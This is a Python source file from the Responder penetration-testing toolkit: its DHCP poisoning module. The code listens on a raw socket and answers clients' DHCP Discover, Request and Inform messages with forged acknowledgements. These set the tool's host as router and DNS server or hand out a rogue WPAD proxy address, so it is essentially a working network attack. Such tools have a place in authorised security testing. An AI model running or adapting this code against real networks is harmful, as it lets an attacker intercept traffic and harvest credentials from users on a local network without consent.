#!/usr/bin/env python # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys if (sys.version_info < (3, 0)): sys.exit('This script is meant to be run with Python3') import struct import random import optparse import configparser import os import codecs import netifaces import binascii BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) sys.path.insert(0, BASEDIR) from odict import OrderedDict from utils import * def color(txt, code = 1, modifier = 0): return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) #Python version if (sys.version_info > (3, 0)): PY2OR3 = "PY3" else: PY2OR3 = "PY2" def StructWithLenPython2or3(endian,data): #Python2... if PY2OR3 == "PY2": return struct.pack(endian, data) #Python3... else: return struct.pack(endian, data).decode('latin-1') def NetworkSendBufferPython2or3(data): if PY2OR3 == "PY2": return str(data) else: return bytes(str(data), 'latin-1') def NetworkRecvBufferPython2or3(data): if PY2OR3 == "PY2": return str(data) else: return str(data.decode('latin-1')) class Packet(): fields = OrderedDict([ ("data", ""), ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) for k,v in kw.items(): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): return "".join(map(str, self.fields.values())) config = configparser.ConfigParser() config.read(os.path.join(BASEDIR,'Responder.conf')) RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f] DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f] Interface = settings.Config.Interface Responder_IP = RespondWithIP() ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present. NETMASK = "255.255.255.0" DNSIP = "0.0.0.0" DNSIP2 = "0.0.0.0" DNSNAME = "local" WPADSRV = "http://"+Responder_IP+"/wpad.dat" Respond_To_Requests = True DHCPClient = [] def GetMacAddress(Interface): try: mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr'] return binascii.unhexlify(mac.replace(':', '')).decode('latin-1') except: mac = "00:00:00:00:00:00" return binascii.unhexlify(mac.replace(':', '')).decode('latin-1') ##### IP Header ##### class IPHead(Packet): fields = OrderedDict([ ("Version", "\x45"), ("DiffServices", "\x00"), ("TotalLen", "\x00\x00"), ("Ident", "\x00\x00"), ("Flags", "\x00\x00"), ("TTL", "\x40"), ("Protocol", "\x11"), ("Checksum", "\x00\x00"), ("SrcIP", ""), ("DstIP", ""), ]) class UDP(Packet): fields = OrderedDict([ ("SrcPort", "\x00\x43"), ("DstPort", "\x00\x44"), ("Len", "\x00\x00"), ("Checksum", "\x00\x00"), ("Data", "\x00\x00"), ]) def calculate(self): self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8) class DHCPDiscover(Packet): fields = OrderedDict([ ("MessType", "\x01"), ("HdwType", "\x01"), ("HdwLen", "\x06"), ("Hops", "\x00"), ("Tid", os.urandom(4).decode('latin-1')), ("ElapsedSec", "\x00\x01"), ("BootpFlags", "\x80\x00"), ("ActualClientIP", "\x00\x00\x00\x00"), ("GiveClientIP", "\x00\x00\x00\x00"), ("NextServerIP", "\x00\x00\x00\x00"), ("RelayAgentIP", "\x00\x00\x00\x00"), ("ClientMac", os.urandom(6).decode('latin-1')),#Needs to be random. ("ClientMacPadding", "\x00" *10), ("ServerHostname", "\x00" * 64), ("BootFileName", "\x00" * 128), ("MagicCookie", "\x63\x82\x53\x63"), ("DHCPCode", "\x35"), #DHCP Message ("DHCPCodeLen", "\x01"), ("DHCPOpCode", "\x01"), #Msgtype(Discover) ("Op55", "\x37"), ("Op55Len", "\x0b"), ("Op55Str", "\x01\x03\x0c\x0f\x06\x1a\x21\x79\x77\x2a\x78"),#Requested info. ("Op12", "\x0c"), ("Op12Len", "\x09"), ("Op12Str", settings.Config.DHCPHostname),#random str. ("Op255", "\xff"), ("Padding", "\x00"), ]) def calculate(self): self.fields["ClientMac"] = GetMacAddress(Interface) class DHCPACK(Packet): fields = OrderedDict([ ("MessType", "\x02"), ("HdwType", "\x01"), ("HdwLen", "\x06"), ("Hops", "\x00"), ("Tid", "\x11\x22\x33\x44"), ("ElapsedSec", "\x00\x00"), ("BootpFlags", "\x00\x00"), ("ActualClientIP", "\x00\x00\x00\x00"), ("GiveClientIP", "\x00\x00\x00\x00"), ("NextServerIP", "\x00\x00\x00\x00"), ("RelayAgentIP", "\x00\x00\x00\x00"), ("ClientMac", "\xff\xff\xff\xff\xff\xff"), ("ClientMacPadding", "\x00" *10), ("ServerHostname", "\x00" * 64), ("BootFileName", "\x00" * 128), ("MagicCookie", "\x63\x82\x53\x63"), ("DHCPCode", "\x35"), #DHCP Message ("DHCPCodeLen", "\x01"), ("DHCPOpCode", "\x05"), #Msgtype(ACK) ("Op54", "\x36"), ("Op54Len", "\x04"), ("Op54Str", ""), #DHCP Server ("Op51", "\x33"), ("Op51Len", "\x04"), ("Op51Str", "\x00\x00\x00\x0a"), #Lease time ("Op1", "\x01"), ("Op1Len", "\x04"), ("Op1Str", ""), #Netmask ("Op15", "\x0f"), ("Op15Len", "\x0e"), ("Op15Str", ""), #DNS Name ("Op3", "\x03"), ("Op3Len", "\x04"), ("Op3Str", ""), #Router ("Op6", "\x06"), ("Op6Len", "\x08"), ("Op6Str", ""), #DNS Servers ("Op252", ""), ("Op252Len", ""), ("Op252Str", ""), #Wpad Server ("Op255", "\xff"), ("Padding", "\x00"), ]) def calculate(self, DHCP_DNS): self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') self.fields["Op15Str"] = DNSNAME if DHCP_DNS: self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') else: self.fields["Op252"] = "\xfc" self.fields["Op252Str"] = WPADSRV self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20)) self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) def RespondToThisIP(ClientIp): if ClientIp.startswith('127.0.0.'): return False elif RespondTo and ClientIp not in RespondTo: return False elif ClientIp in RespondTo or RespondTo == []: if ClientIp not in DontRespondTo: return True return False def ParseSrcDSTAddr(data): SrcIP = socket.inet_ntoa(data[0][26:30]) DstIP = socket.inet_ntoa(data[0][30:34]) SrcPort = struct.unpack('>H',data[0][34:36])[0] DstPort = struct.unpack('>H',data[0][36:38])[0] return SrcIP, SrcPort, DstIP, DstPort def FindIP(data): IPPos = data.find(b"\x32\x04") + 2 if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1: #Probably not present in the DHCP options we received, let's grab it from the IP header instead return data[12:16] else: IP = data[IPPos:IPPos+4] return IP def ParseDHCPCode(data, ClientIP,DHCP_DNS): global DHCPClient global ROUTERIP PTid = data[4:8] Seconds = data[8:10] CurrentIP = socket.inet_ntoa(data[12:16]) RequestedIP = socket.inet_ntoa(data[16:20]) MacAddr = data[28:34] MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper() OpCode = data[242:243] RequestIP = data[245:249] if DHCPClient.count(MacAddrStr) >= 4: return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer ROUTERIP = ClientIP return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP) elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request IP = FindIP(data) if IP: IPConv = socket.inet_ntoa(IP) if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1')) Packet.calculate(DHCP_DNS) Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) DHCPClient.append(MacAddrStr) SaveDHCPToDb({ 'MAC': MacAddrStr, 'IP': CurrentIP, 'RequestedIP': IPConv, }) return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr) # DHCP Inform elif OpCode == b"\x08": IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'), GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'), NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'), RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'), ElapsedSec=Seconds.decode('latin-1')) Packet.calculate(DHCP_DNS) Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) DHCPClient.append(MacAddrStr) SaveDHCPToDb({ 'MAC': MacAddrStr, 'IP': CurrentIP, 'RequestedIP': RequestedIP, }) return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr) elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover IP = FindIP(data) if IP: IPConv = socket.inet_ntoa(IP) if RespondToThisIP(IPConv): IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1')) Packet.calculate(DHCP_DNS) Buffer = UDP(Data = Packet) Buffer.calculate() SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) DHCPClient.append(MacAddrStr) SaveDHCPToDb({ 'MAC': MacAddrStr, 'IP': CurrentIP, 'RequestedIP': IPConv, }) return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr) def SendDiscover(): s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) IP_Header = IPHead(SrcIP = socket.inet_aton('0.0.0.0').decode('latin-1'), DstIP=socket.inet_aton('255.255.255.255').decode('latin-1')) Packet = DHCPDiscover() Packet.calculate() Buffer = UDP(SrcPort="\x00\x44", DstPort="\x00\x43",Data = Packet) Buffer.calculate() s.sendto(NetworkSendBufferPython2or3(str(IP_Header)+str(Buffer)), ('255.255.255.255', 67)) def SendDHCP(packet,Host): s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.sendto(NetworkSendBufferPython2or3(packet), Host) def DHCP(DHCP_DNS): s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s.bind((Interface, 0x0800)) SendDiscover() while True: data = s.recvfrom(65535) if data[0][23:24] == b"\x11":# is udp? SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) if SrcPort == 67 or DstPort == 67: ClientIP = socket.inet_ntoa(data[0][26:30]) ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS) if ret and not settings.Config.Quiet_Mode: print(text("[*] [DHCP] %s" % ret))